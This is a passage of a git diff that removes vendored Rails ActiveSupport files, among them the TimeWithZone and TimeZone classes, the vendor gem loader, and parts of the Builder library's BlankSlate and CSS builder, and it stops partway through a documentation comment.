-    # Time#strftime, so that zone information is correct
-    def strftime(format)
-      format = format.gsub('%Z', zone).gsub('%z', formatted_offset(false))
-      time.strftime(format)
-    end
-
-    # Use the time in UTC for comparisons.
-    def <=>(other)
-      utc <=> other
-    end
-
-    def between?(min, max)
-      utc.between?(min, max)
-    end
-
-    def past?
-      utc.past?
-    end
-
-    def today?
-      time.today?
-    end
-
-    def future?
-      utc.future?
-    end
-
-    def eql?(other)
-      utc == other
-    end
-
-    def +(other)
-      # If we're adding a Duration of variable length (i.e., years, months, days), move forward from #time,
-      # otherwise move forward from #utc, for accuracy when moving across DST boundaries
-      if duration_of_variable_length?(other)
-        method_missing(:+, other)
-      else
-        result = utc.acts_like?(:date) ? utc.since(other) : utc + other rescue utc.since(other)
-        result.in_time_zone(time_zone)
-      end
-    end
-
-    def -(other)
-      # If we're subtracting a Duration of variable length (i.e., years, months, days), move backwards from #time,
-      # otherwise move backwards #utc, for accuracy when moving across DST boundaries
-      if other.acts_like?(:time)
-        utc.to_f - other.to_f
-      elsif duration_of_variable_length?(other)
-        method_missing(:-, other)
-      else
-        result = utc.acts_like?(:date) ? utc.ago(other) : utc - other rescue utc.ago(other)
-        result.in_time_zone(time_zone)
-      end
-    end
-
-    def since(other)
-      # If we're adding a Duration of variable length (i.e., years, months, days), move forward from #time,
-      # otherwise move forward from #utc, for accuracy when moving across DST boundaries
-      if duration_of_variable_length?(other)
-        method_missing(:since, other)
-      else
-        utc.since(other).in_time_zone(time_zone)
-      end
-    end
-
-    def ago(other)
-      since(-other)
-    end
-
-    def advance(options)
-      # If we're advancing a value of variable length (i.e., years, weeks, months, days), advance from #time,
-      # otherwise advance from #utc, for accuracy when moving across DST boundaries
-      if options.values_at(:years, :weeks, :months, :days).any?
-        method_missing(:advance, options)
-      else
-        utc.advance(options).in_time_zone(time_zone)
-      end
-    end
-
-    %w(year mon month day mday wday yday hour min sec to_date).each do |method_name|
-      class_eval <<-EOV
-        def #{method_name}     # def year
-          time.#{method_name}  #   time.year
-        end                    # end
-      EOV
-    end
-
-    def usec
-      time.respond_to?(:usec) ? time.usec : 0
-    end
-
-    def to_a
-      [time.sec, time.min, time.hour, time.day, time.mon, time.year, time.wday, time.yday, dst?, zone]
-    end
-
-    def to_f
-      utc.to_f
-    end
-
-    def to_i
-      utc.to_i
-    end
-    alias_method :hash, :to_i
-    alias_method :tv_sec, :to_i
-
-    # A TimeWithZone acts like a Time, so just return +self+.
-    def to_time
-      self
-    end
-
-    def to_datetime
-      utc.to_datetime.new_offset(Rational(utc_offset, 86_400))
-    end
-
-    # So that +self+ <tt>acts_like?(:time)</tt>.
-    def acts_like_time?
-      true
-    end
-
-    # Say we're a Time to thwart type checking.
-    def is_a?(klass)
-      klass == ::Time || super
-    end
-    alias_method :kind_of?, :is_a?
-
-    def freeze
-      period; utc; time # preload instance variables before freezing
-      super
-    end
-
-    def marshal_dump
-      [utc, time_zone.name, time]
-    end
-
-    def marshal_load(variables)
-      initialize(variables[0].utc, ::Time.__send__(:get_zone, variables[1]), variables[2].utc)
-    end
-
-    # Ensure proxy class responds to all methods that underlying time instance responds to.
-    def respond_to?(sym, include_priv = false)
-      # consistently respond false to acts_like?(:date), regardless of whether #time is a Time or DateTime
-      return false if sym.to_s == 'acts_like_date?'
-      super || time.respond_to?(sym, include_priv)
-    end
-
-    # Send the missing method to +time+ instance, and wrap result in a new TimeWithZone with the existing +time_zone+.
-    def method_missing(sym, *args, &block)
-      result = time.__send__(sym, *args, &block)
-      result.acts_like?(:time) ? self.class.new(nil, time_zone, result) : result
-    end
-
-    private
-      def get_period_and_ensure_valid_local_time
-        # we don't want a Time.local instance enforcing its own DST rules as well,
-        # so transfer time values to a utc constructor if necessary
-        @time = transfer_time_values_to_utc_constructor(@time) unless @time.utc?
-        begin
-          @time_zone.period_for_local(@time)
-        rescue ::TZInfo::PeriodNotFound
-          # time is in the "spring forward" hour gap, so we're moving the time forward one hour and trying again
-          @time += 1.hour
-          retry
-        end
-      end
-
-      def transfer_time_values_to_utc_constructor(time)
-        ::Time.utc_time(time.year, time.month, time.day, time.hour, time.min, time.sec, time.respond_to?(:usec) ? time.usec : 0)
-      end
-
-      def duration_of_variable_length?(obj)
-        ActiveSupport::Duration === obj && obj.parts.any? {|p| [:years, :months, :days].include? p[0] }
-      end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/values/time_zone.rb b/vendor/rails/activesupport/lib/active_support/values/time_zone.rb
deleted file mode 100644
index ad9ea2ac..00000000
--- a/vendor/rails/activesupport/lib/active_support/values/time_zone.rb
+++ /dev/null
@@ -1,416 +0,0 @@
-# The TimeZone class serves as a wrapper around TZInfo::Timezone instances. It allows us to do the following:
-#
-# * Limit the set of zones provided by TZInfo to a meaningful subset of 142 zones.
-# * Retrieve and display zones with a friendlier name (e.g., "Eastern Time (US & Canada)" instead of "America/New_York").
-# * Lazily load TZInfo::Timezone instances only when they're needed.
-# * Create ActiveSupport::TimeWithZone instances via TimeZone's +local+, +parse+, +at+ and +now+ methods.
-#
-# If you set <tt>config.time_zone</tt> in the Rails Initializer, you can access this TimeZone object via <tt>Time.zone</tt>:
-#
-#   # environment.rb:
-#   Rails::Initializer.run do |config|
-#     config.time_zone = "Eastern Time (US & Canada)"
-#   end
-#
-#   Time.zone       # => #<TimeZone:0x514834...>
-#   Time.zone.name  # => "Eastern Time (US & Canada)"
-#   Time.zone.now   # => Sun, 18 May 2008 14:30:44 EDT -04:00
-#
-# The version of TZInfo bundled with Active Support only includes the definitions necessary to support the zones
-# defined by the TimeZone class. If you need to use zones that aren't defined by TimeZone, you'll need to install the TZInfo gem
-# (if a recent version of the gem is installed locally, this will be used instead of the bundled version.)
-module ActiveSupport
-  class TimeZone
-    unless const_defined?(:MAPPING)
-      # Keys are Rails TimeZone names, values are TZInfo identifiers
-      MAPPING = {
-        "International Date Line West" => "Pacific/Midway",
-        "Midway Island"                => "Pacific/Midway",
-        "Samoa"                        => "Pacific/Pago_Pago",
-        "Hawaii"                       => "Pacific/Honolulu",
-        "Alaska"                       => "America/Juneau",
-        "Pacific Time (US & Canada)"   => "America/Los_Angeles",
-        "Tijuana"                      => "America/Tijuana",
-        "Mountain Time (US & Canada)"  => "America/Denver",
-        "Arizona"                      => "America/Phoenix",
-        "Chihuahua"                    => "America/Chihuahua",
-        "Mazatlan"                     => "America/Mazatlan",
-        "Central Time (US & Canada)"   => "America/Chicago",
-        "Saskatchewan"                 => "America/Regina",
-        "Guadalajara"                  => "America/Mexico_City",
-        "Mexico City"                  => "America/Mexico_City",
-        "Monterrey"                    => "America/Monterrey",
-        "Central America"              => "America/Guatemala",
-        "Eastern Time (US & Canada)"   => "America/New_York",
-        "Indiana (East)"               => "America/Indiana/Indianapolis",
-        "Bogota"                       => "America/Bogota",
-        "Lima"                         => "America/Lima",
-        "Quito"                        => "America/Lima",
-        "Atlantic Time (Canada)"       => "America/Halifax",
-        "Caracas"                      => "America/Caracas",
-        "La Paz"                       => "America/La_Paz",
-        "Santiago"                     => "America/Santiago",
-        "Newfoundland"                 => "America/St_Johns",
-        "Brasilia"                     => "America/Sao_Paulo",
-        "Buenos Aires"                 => "America/Argentina/Buenos_Aires",
-        "Georgetown"                   => "America/Argentina/San_Juan",
-        "Greenland"                    => "America/Godthab",
-        "Mid-Atlantic"                 => "Atlantic/South_Georgia",
-        "Azores"                       => "Atlantic/Azores",
-        "Cape Verde Is."               => "Atlantic/Cape_Verde",
-        "Dublin"                       => "Europe/Dublin",
-        "Edinburgh"                    => "Europe/Dublin",
-        "Lisbon"                       => "Europe/Lisbon",
-        "London"                       => "Europe/London",
-        "Casablanca"                   => "Africa/Casablanca",
-        "Monrovia"                     => "Africa/Monrovia",
-        "UTC"                          => "Etc/UTC",
-        "Belgrade"                     => "Europe/Belgrade",
-        "Bratislava"                   => "Europe/Bratislava",
-        "Budapest"                     => "Europe/Budapest",
-        "Ljubljana"                    => "Europe/Ljubljana",
-        "Prague"                       => "Europe/Prague",
-        "Sarajevo"                     => "Europe/Sarajevo",
-        "Skopje"                       => "Europe/Skopje",
-        "Warsaw"                       => "Europe/Warsaw",
-        "Zagreb"                       => "Europe/Zagreb",
-        "Brussels"                     => "Europe/Brussels",
-        "Copenhagen"                   => "Europe/Copenhagen",
-        "Madrid"                       => "Europe/Madrid",
-        "Paris"                        => "Europe/Paris",
-        "Amsterdam"                    => "Europe/Amsterdam",
-        "Berlin"                       => "Europe/Berlin",
-        "Bern"                         => "Europe/Berlin",
-        "Rome"                         => "Europe/Rome",
-        "Stockholm"                    => "Europe/Stockholm",
-        "Vienna"                       => "Europe/Vienna",
-        "West Central Africa"          => "Africa/Algiers",
-        "Bucharest"                    => "Europe/Bucharest",
-        "Cairo"                        => "Africa/Cairo",
-        "Helsinki"                     => "Europe/Helsinki",
-        "Kyev"                         => "Europe/Kiev",
-        "Riga"                         => "Europe/Riga",
-        "Sofia"                        => "Europe/Sofia",
-        "Tallinn"                      => "Europe/Tallinn",
-        "Vilnius"                      => "Europe/Vilnius",
-        "Athens"                       => "Europe/Athens",
-        "Istanbul"                     => "Europe/Istanbul",
-        "Minsk"                        => "Europe/Minsk",
-        "Jerusalem"                    => "Asia/Jerusalem",
-        "Harare"                       => "Africa/Harare",
-        "Pretoria"                     => "Africa/Johannesburg",
-        "Moscow"                       => "Europe/Moscow",
-        "St. Petersburg"               => "Europe/Moscow",
-        "Volgograd"                    => "Europe/Moscow",
-        "Kuwait"                       => "Asia/Kuwait",
-        "Riyadh"                       => "Asia/Riyadh",
-        "Nairobi"                      => "Africa/Nairobi",
-        "Baghdad"                      => "Asia/Baghdad",
-        "Tehran"                       => "Asia/Tehran",
-        "Abu Dhabi"                    => "Asia/Muscat",
-        "Muscat"                       => "Asia/Muscat",
-        "Baku"                         => "Asia/Baku",
-        "Tbilisi"                      => "Asia/Tbilisi",
-        "Yerevan"                      => "Asia/Yerevan",
-        "Kabul"                        => "Asia/Kabul",
-        "Ekaterinburg"                 => "Asia/Yekaterinburg",
-        "Islamabad"                    => "Asia/Karachi",
-        "Karachi"                      => "Asia/Karachi",
-        "Tashkent"                     => "Asia/Tashkent",
-        "Chennai"                      => "Asia/Kolkata",
-        "Kolkata"                      => "Asia/Kolkata",
-        "Mumbai"                       => "Asia/Kolkata",
-        "New Delhi"                    => "Asia/Kolkata",
-        "Kathmandu"                    => "Asia/Katmandu",
-        "Astana"                       => "Asia/Dhaka",
-        "Dhaka"                        => "Asia/Dhaka",
-        "Sri Jayawardenepura"          => "Asia/Colombo",
-        "Almaty"                       => "Asia/Almaty",
-        "Novosibirsk"                  => "Asia/Novosibirsk",
-        "Rangoon"                      => "Asia/Rangoon",
-        "Bangkok"                      => "Asia/Bangkok",
-        "Hanoi"                        => "Asia/Bangkok",
-        "Jakarta"                      => "Asia/Jakarta",
-        "Krasnoyarsk"                  => "Asia/Krasnoyarsk",
-        "Beijing"                      => "Asia/Shanghai",
-        "Chongqing"                    => "Asia/Chongqing",
-        "Hong Kong"                    => "Asia/Hong_Kong",
-        "Urumqi"                       => "Asia/Urumqi",
-        "Kuala Lumpur"                 => "Asia/Kuala_Lumpur",
-        "Singapore"                    => "Asia/Singapore",
-        "Taipei"                       => "Asia/Taipei",
-        "Perth"                        => "Australia/Perth",
-        "Irkutsk"                      => "Asia/Irkutsk",
-        "Ulaan Bataar"                 => "Asia/Ulaanbaatar",
-        "Seoul"                        => "Asia/Seoul",
-        "Osaka"                        => "Asia/Tokyo",
-        "Sapporo"                      => "Asia/Tokyo",
-        "Tokyo"                        => "Asia/Tokyo",
-        "Yakutsk"                      => "Asia/Yakutsk",
-        "Darwin"                       => "Australia/Darwin",
-        "Adelaide"                     => "Australia/Adelaide",
-        "Canberra"                     => "Australia/Melbourne",
-        "Melbourne"                    => "Australia/Melbourne",
-        "Sydney"                       => "Australia/Sydney",
-        "Brisbane"                     => "Australia/Brisbane",
-        "Hobart"                       => "Australia/Hobart",
-        "Vladivostok"                  => "Asia/Vladivostok",
-        "Guam"                         => "Pacific/Guam",
-        "Port Moresby"                 => "Pacific/Port_Moresby",
-        "Magadan"                      => "Asia/Magadan",
-        "Solomon Is."                  => "Asia/Magadan",
-        "New Caledonia"                => "Pacific/Noumea",
-        "Fiji"                         => "Pacific/Fiji",
-        "Kamchatka"                    => "Asia/Kamchatka",
-        "Marshall Is."                 => "Pacific/Majuro",
-        "Auckland"                     => "Pacific/Auckland",
-        "Wellington"                   => "Pacific/Auckland",
-        "Nuku'alofa"                   => "Pacific/Tongatapu"
-      }.each { |name, zone| name.freeze; zone.freeze }
-      MAPPING.freeze
-    end
-
-    include Comparable
-    attr_reader :name
-    attr_reader :tzinfo
-
-    # Create a new TimeZone object with the given name and offset. The
-    # offset is the number of seconds that this time zone is offset from UTC
-    # (GMT). Seconds were chosen as the offset unit because that is the unit that
-    # Ruby uses to represent time zone offsets (see Time#utc_offset).
-    def initialize(name, utc_offset = nil, tzinfo = nil)
-      @name = name
-      @utc_offset = utc_offset
-      @tzinfo = tzinfo || TimeZone.find_tzinfo(name)
-      @current_period = nil
-    end
-
-    def utc_offset
-      if @utc_offset
-        @utc_offset
-      else
-        @current_period ||= tzinfo.current_period
-        @current_period.utc_offset
-      end
-    end
-
-    # Returns the offset of this time zone as a formatted string, of the
-    # format "+HH:MM".
-    def formatted_offset(colon=true, alternate_utc_string = nil)
-      utc_offset == 0 && alternate_utc_string || utc_offset.to_utc_offset_s(colon)
-    end
-
-    # Compare this time zone to the parameter. The two are comapred first on
-    # their offsets, and then by name.
-    def <=>(zone)
-      result = (utc_offset <=> zone.utc_offset)
-      result = (name <=> zone.name) if result == 0
-      result
-    end
-
-    # Compare #name and TZInfo identifier to a supplied regexp, returning true
-    # if a match is found.
-    def =~(re)
-      return true if name =~ re || MAPPING[name] =~ re
-    end
-
-    # Returns a textual representation of this time zone.
-    def to_s
-      "(GMT#{formatted_offset}) #{name}"
-    end
-
-    # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from given values. Example:
-    #
-    #   Time.zone = "Hawaii"                      # => "Hawaii"
-    #   Time.zone.local(2007, 2, 1, 15, 30, 45)   # => Thu, 01 Feb 2007 15:30:45 HST -10:00
-    def local(*args)
-      time = Time.utc_time(*args)
-      ActiveSupport::TimeWithZone.new(nil, self, time)
-    end
-
-    # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from number of seconds since the Unix epoch. Example:
-    #
-    #   Time.zone = "Hawaii"        # => "Hawaii"
-    #   Time.utc(2000).to_f         # => 946684800.0
-    #   Time.zone.at(946684800.0)   # => Fri, 31 Dec 1999 14:00:00 HST -10:00
-    def at(secs)
-      utc = Time.at(secs).utc rescue DateTime.civil(1970).since(secs)
-      utc.in_time_zone(self)
-    end
-
-    # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from parsed string. Example:
-    #
-    #   Time.zone = "Hawaii"                      # => "Hawaii"
-    #   Time.zone.parse('1999-12-31 14:00:00')    # => Fri, 31 Dec 1999 14:00:00 HST -10:00
-    #
-    # If upper components are missing from the string, they are supplied from TimeZone#now:
-    #
-    #   Time.zone.now                 # => Fri, 31 Dec 1999 14:00:00 HST -10:00
-    #   Time.zone.parse('22:30:00')   # => Fri, 31 Dec 1999 22:30:00 HST -10:00
-    def parse(str, now=now)
-      date_parts = Date._parse(str)
-      return if date_parts.blank?
-      time = Time.parse(str, now) rescue DateTime.parse(str)
-      if date_parts[:offset].nil?
-        ActiveSupport::TimeWithZone.new(nil, self, time)
-      else
-        time.in_time_zone(self)
-      end
-    end
-
-    # Returns an ActiveSupport::TimeWithZone instance representing the current time
-    # in the time zone represented by +self+. Example:
-    #
-    #   Time.zone = 'Hawaii'  # => "Hawaii"
-    #   Time.zone.now         # => Wed, 23 Jan 2008 20:24:27 HST -10:00
-    def now
-      Time.now.utc.in_time_zone(self)
-    end
-
-    # Return the current date in this time zone.
-    def today
-      tzinfo.now.to_date
-    end
-
-    # Adjust the given time to the simultaneous time in the time zone represented by +self+. Returns a
-    # Time.utc() instance -- if you want an ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
-    def utc_to_local(time)
-      tzinfo.utc_to_local(time)
-    end
-
-    # Adjust the given time to the simultaneous time in UTC. Returns a Time.utc() instance.
-    def local_to_utc(time, dst=true)
-      tzinfo.local_to_utc(time, dst)
-    end
-
-    # Available so that TimeZone instances respond like TZInfo::Timezone instances
-    def period_for_utc(time)
-      tzinfo.period_for_utc(time)
-    end
-
-    # Available so that TimeZone instances respond like TZInfo::Timezone instances
-    def period_for_local(time, dst=true)
-      tzinfo.period_for_local(time, dst)
-    end
-
-    # TODO: Preload instead of lazy load for thread safety
-    def self.find_tzinfo(name)
-      require 'tzinfo' unless defined?(TZInfo)
-      ::TZInfo::Timezone.get(MAPPING[name] || name)
-    rescue TZInfo::InvalidTimezoneIdentifier
-      nil
-    end
-
-    class << self
-      alias_method :create, :new
-
-      # Return a TimeZone instance with the given name, or +nil+ if no
-      # such TimeZone instance exists. (This exists to support the use of
-      # this class with the +composed_of+ macro.)
-      def new(name)
-        self[name]
-      end
-
-      # Return an array of all TimeZone objects. There are multiple
-      # TimeZone objects per time zone, in many cases, to make it easier
-      # for users to find their own time zone.
-      def all
-        @zones ||= zones_map.values.sort
-      end
-
-      def zones_map
-        unless defined?(@zones_map)
-          @zones_map = {}
-          [[-39_600, "International Date Line West", "Midway Island", "Samoa" ],
-           [-36_000, "Hawaii" ],
-           [-32_400, "Alaska" ],
-           [-28_800, "Pacific Time (US & Canada)", "Tijuana" ],
-           [-25_200, "Mountain Time (US & Canada)", "Chihuahua", "Mazatlan",
-                     "Arizona" ],
-           [-21_600, "Central Time (US & Canada)", "Saskatchewan", "Guadalajara",
-                     "Mexico City", "Monterrey", "Central America" ],
-           [-18_000, "Eastern Time (US & Canada)", "Indiana (East)", "Bogota",
-                     "Lima", "Quito" ],
-           [-16_200, "Caracas" ],
-           [-14_400, "Atlantic Time (Canada)", "La Paz", "Santiago" ],
-           [-12_600, "Newfoundland" ],
-           [-10_800, "Brasilia", "Buenos Aires", "Georgetown", "Greenland" ],
-           [ -7_200, "Mid-Atlantic" ],
-           [ -3_600, "Azores", "Cape Verde Is." ],
-           [      0, "Dublin", "Edinburgh", "Lisbon", "London", "Casablanca",
-                     "Monrovia", "UTC" ],
-           [  3_600, "Belgrade", "Bratislava", "Budapest", "Ljubljana", "Prague",
-                     "Sarajevo", "Skopje", "Warsaw", "Zagreb", "Brussels",
-                     "Copenhagen", "Madrid", "Paris", "Amsterdam", "Berlin",
-                     "Bern", "Rome", "Stockholm", "Vienna",
-                     "West Central Africa" ],
-           [  7_200, "Bucharest", "Cairo", "Helsinki", "Kyev", "Riga", "Sofia",
-                     "Tallinn", "Vilnius", "Athens", "Istanbul", "Minsk",
-                     "Jerusalem", "Harare", "Pretoria" ],
-           [ 10_800, "Moscow", "St. Petersburg", "Volgograd", "Kuwait", "Riyadh",
-                     "Nairobi", "Baghdad" ],
-           [ 12_600, "Tehran" ],
-           [ 14_400, "Abu Dhabi", "Muscat", "Baku", "Tbilisi", "Yerevan" ],
-           [ 16_200, "Kabul" ],
-           [ 18_000, "Ekaterinburg", "Islamabad", "Karachi", "Tashkent" ],
-           [ 19_800, "Chennai", "Kolkata", "Mumbai", "New Delhi", "Sri Jayawardenepura" ],
-           [ 20_700, "Kathmandu" ],
-           [ 21_600, "Astana", "Dhaka", "Almaty",
-                     "Novosibirsk" ],
-           [ 23_400, "Rangoon" ],
-           [ 25_200, "Bangkok", "Hanoi", "Jakarta", "Krasnoyarsk" ],
-           [ 28_800, "Beijing", "Chongqing", "Hong Kong", "Urumqi",
-                     "Kuala Lumpur", "Singapore", "Taipei", "Perth", "Irkutsk",
-                     "Ulaan Bataar" ],
-           [ 32_400, "Seoul", "Osaka", "Sapporo", "Tokyo", "Yakutsk" ],
-           [ 34_200, "Darwin", "Adelaide" ],
-           [ 36_000, "Canberra", "Melbourne", "Sydney", "Brisbane", "Hobart",
-                     "Vladivostok", "Guam", "Port Moresby" ],
-           [ 39_600, "Magadan", "Solomon Is.", "New Caledonia" ],
-           [ 43_200, "Fiji", "Kamchatka", "Marshall Is.", "Auckland",
-                     "Wellington" ],
-           [ 46_800, "Nuku'alofa" ]].
-           each do |offset, *places|
-             places.each do |place|
-               @zones_map[place] = create(place, offset)
-             end
-           end
-        end
-        @zones_map
-      end
-
-      # Locate a specific time zone object. If the argument is a string, it
-      # is interpreted to mean the name of the timezone to locate. If it is a
-      # numeric value it is either the hour offset, or the second offset, of the
-      # timezone to find. (The first one with that offset will be returned.)
-      # Returns +nil+ if no such time zone is known to the system.
-      def [](arg)
-        case arg
-          when String
-            if tz = zones_map[arg]
-              tz
-            elsif tz = lookup(arg)
-              zones_map[arg] = tz
-            end
-          when Numeric, ActiveSupport::Duration
-            arg *= 3600 if arg.abs <= 13
-            all.find { |z| z.utc_offset == arg.to_i }
-          else
-            raise ArgumentError, "invalid argument to TimeZone[]: #{arg.inspect}"
-        end
-      end
-
-      # A convenience method for returning a collection of TimeZone objects
-      # for time zones in the USA.
-      def us_zones
-        @us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ }
-      end
-      
-      private
-
-        def lookup(name)
-          (tzinfo = find_tzinfo(name)) && create(tzinfo.name.freeze)
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/values/unicode_tables.dat b/vendor/rails/activesupport/lib/active_support/values/unicode_tables.dat
deleted file mode 100644
index 74b333d4..00000000
Binary files a/vendor/rails/activesupport/lib/active_support/values/unicode_tables.dat and /dev/null differ
diff --git a/vendor/rails/activesupport/lib/active_support/vendor.rb b/vendor/rails/activesupport/lib/active_support/vendor.rb
deleted file mode 100644
index 62d81fe9..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# Prefer gems to the bundled libs.
-require 'rubygems'
-
-begin
-  gem 'builder', '~> 2.1.2'
-rescue Gem::LoadError
-  $:.unshift "#{File.dirname(__FILE__)}/vendor/builder-2.1.2"
-end
-require 'builder'
-
-begin
-  gem 'memcache-client', '>= 1.7.4'
-rescue Gem::LoadError
-  $:.unshift "#{File.dirname(__FILE__)}/vendor/memcache-client-1.7.4"
-end
-
-begin
-  gem 'tzinfo', '~> 0.3.12'
-rescue Gem::LoadError
-  $:.unshift "#{File.dirname(__FILE__)}/vendor/tzinfo-0.3.12"
-end
-
-begin
-  gem 'i18n', '>= 0.4.1'
-rescue Gem::LoadError
-  $:.unshift "#{File.dirname(__FILE__)}/vendor/i18n-0.4.1"
-end
-require 'i18n'
-
-module I18n
-  if !respond_to?(:normalize_translation_keys) && respond_to?(:normalize_keys)
-    def self.normalize_translation_keys(*args)
-      normalize_keys(*args)
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/blankslate.rb b/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/blankslate.rb
deleted file mode 100644
index da6034d9..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/blankslate.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-#!/usr/bin/env ruby
-#--
-# Copyright 2004, 2006 by Jim Weirich (jim@weirichhouse.org).
-# All rights reserved.
-
-# Permission is granted for use, copying, modification, distribution,
-# and distribution of modified versions of this work as long as the
-# above copyright notice is included.
-#++
-
-######################################################################
-# BlankSlate provides an abstract base class with no predefined
-# methods (except for <tt>\_\_send__</tt> and <tt>\_\_id__</tt>).
-# BlankSlate is useful as a base class when writing classes that
-# depend upon <tt>method_missing</tt> (e.g. dynamic proxies).
-#
-class BlankSlate
-  class << self
-
-    # Hide the method named +name+ in the BlankSlate class.  Don't
-    # hide +instance_eval+ or any method beginning with "__".
-    def hide(name)
-      if instance_methods.include?(name.to_s) and
-        name !~ /^(__|instance_eval)/
-        @hidden_methods ||= {}
-        @hidden_methods[name.to_sym] = instance_method(name)
-        undef_method name
-      end
-    end
-
-    def find_hidden_method(name)
-      @hidden_methods ||= {}
-      @hidden_methods[name] || superclass.find_hidden_method(name)
-    end
-
-    # Redefine a previously hidden method so that it may be called on a blank
-    # slate object.
-    def reveal(name)
-      bound_method = nil
-      unbound_method = find_hidden_method(name)
-      fail "Don't know how to reveal method '#{name}'" unless unbound_method
-      define_method(name) do |*args|
-        bound_method ||= unbound_method.bind(self)
-        bound_method.call(*args)
-      end
-    end
-  end
-
-  instance_methods.each { |m| hide(m) }
-end
-
-######################################################################
-# Since Ruby is very dynamic, methods added to the ancestors of
-# BlankSlate <em>after BlankSlate is defined</em> will show up in the
-# list of available BlankSlate methods.  We handle this by defining a
-# hook in the Object and Kernel classes that will hide any method
-# defined after BlankSlate has been loaded.
-#
-module Kernel
-  class << self
-    alias_method :blank_slate_method_added, :method_added
-
-    # Detect method additions to Kernel and remove them in the
-    # BlankSlate class.
-    def method_added(name)
-      result = blank_slate_method_added(name)
-      return result if self != Kernel
-      BlankSlate.hide(name)
-      result
-    end
-  end
-end
-
-######################################################################
-# Same as above, except in Object.
-#
-class Object
-  class << self
-    alias_method :blank_slate_method_added, :method_added
-
-    # Detect method additions to Object and remove them in the
-    # BlankSlate class.
-    def method_added(name)
-      result = blank_slate_method_added(name)
-      return result if self != Object
-      BlankSlate.hide(name)
-      result
-    end
-
-    def find_hidden_method(name)
-      nil
-    end
-  end
-end
-
-######################################################################
-# Also, modules included into Object need to be scanned and have their
-# instance methods removed from blank slate.  In theory, modules
-# included into Kernel would have to be removed as well, but a
-# "feature" of Ruby prevents late includes into modules from being
-# exposed in the first place.
-#
-class Module
-  alias blankslate_original_append_features append_features
-  def append_features(mod)
-    result = blankslate_original_append_features(mod)
-    return result if mod != Object
-    instance_methods.each do |name|
-      BlankSlate.hide(name)
-    end
-    result
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder.rb b/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder.rb
deleted file mode 100644
index 97192776..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-#!/usr/bin/env ruby
-
-#--
-# Copyright 2004 by Jim Weirich (jim@weirichhouse.org).
-# All rights reserved.
-
-# Permission is granted for use, copying, modification, distribution,
-# and distribution of modified versions of this work as long as the
-# above copyright notice is included.
-#++
-
-require 'builder/xmlmarkup'
-require 'builder/xmlevents'
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/blankslate.rb b/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/blankslate.rb
deleted file mode 100644
index 2935b6f1..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/blankslate.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-#!/usr/bin/env ruby
-#--
-# Copyright 2004, 2006 by Jim Weirich (jim@weirichhouse.org).
-# All rights reserved.
-
-# Permission is granted for use, copying, modification, distribution,
-# and distribution of modified versions of this work as long as the
-# above copyright notice is included.
-#++
-
-require 'blankslate'
-
-######################################################################
-# BlankSlate has been promoted to a top level name and is now
-# available as a standalone gem.  We make the name available in the
-# Builder namespace for compatibility.
-#
-module Builder
-  BlankSlate = ::BlankSlate
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/css.rb b/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/css.rb
deleted file mode 100644
index e086a1b1..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/css.rb
+++ /dev/null
@@ -1,250 +0,0 @@
-#!/usr/bin/env ruby
-#--
-# Copyright 2004, 2005 by Jim Weirich  (jim@weirichhouse.org).
-# Copyright       2005 by Scott Barron (scott@elitists.net).
-# All rights reserved.
-#
-# Permission is granted for use, copying, modification, distribution,
-# and distribution of modified versions of this work as long as the
-# above copyright notice is included.
-#
-# Much of this is taken from Jim's work in xmlbase.rb and xmlmarkup.rb.
-# Documentation has also been copied and pasted and modified to reflect
-# that we're building CSS here instead of XML.  Jim is conducting the
-# orchestra here and I'm just off in the corner playing a flute.
-#++
-
-# Provide a flexible and easy to use Builder for creating Cascading
-# Style Sheets (CSS).
-
-
-require 'builder/blankslate'
-
-module Builder
-
-  # Create a Cascading Style Sheet (CSS) using Ruby.
-  #
-  # Example usage:
-  #
-  #   css = Builder::CSS.new
-  #
-  #   text_color      = '#7F7F7F'
-  #   preferred_fonts = 'Helvetica, Arial, sans_serif'
-  #
-  #   css.comment! 'This is our stylesheet'
-  #   css.body {
-  #     background_color '#FAFAFA'
-  #     font_size        'small'
-  #     font_family      preferred_fonts
-  #     color            text_color
-  #   }
-  #
-  #   css.id!('navbar') {
-  #     width            '500px'
-  #   }
-  #
-  #   css.class!('navitem') {
-  #     color            'red'
-  #   }
-  #
-  #   css.a :hover {
-  #     text_decoration  'underline'
-  #   }
-  #
-  #   css.div(:id => 'menu') {
-  #     background       'green'
-  #   }
-  #
-  #   css.div(:class => 'foo') {
-  #     background       'red'
-  #   }
-  #
-  # This will yield the following stylesheet:
-  #
-  #   /* This is our stylesheet */
-  #   body {
-  #     background_color: #FAFAFA;
-  #     font_size:        small;
-  #     font_family:      Helvetica, Arial, sans_serif;
-  #     color:            #7F7F7F;
-  #   }
-  #
-  #   #navbar {
-  #     width:            500px;
-  #   }
-  #
-  #   .navitem {
-  #     color:            red;
-  #   }
-  #
-  #   a:hover {
-  #     text_decoration:  underline;
-  #   }
-  #
-  #   div#menu {
-  #     background:       green;
-  #   }
-  #
-  #   div.foo {
-  #     background:       red;
-  #   }
-  #
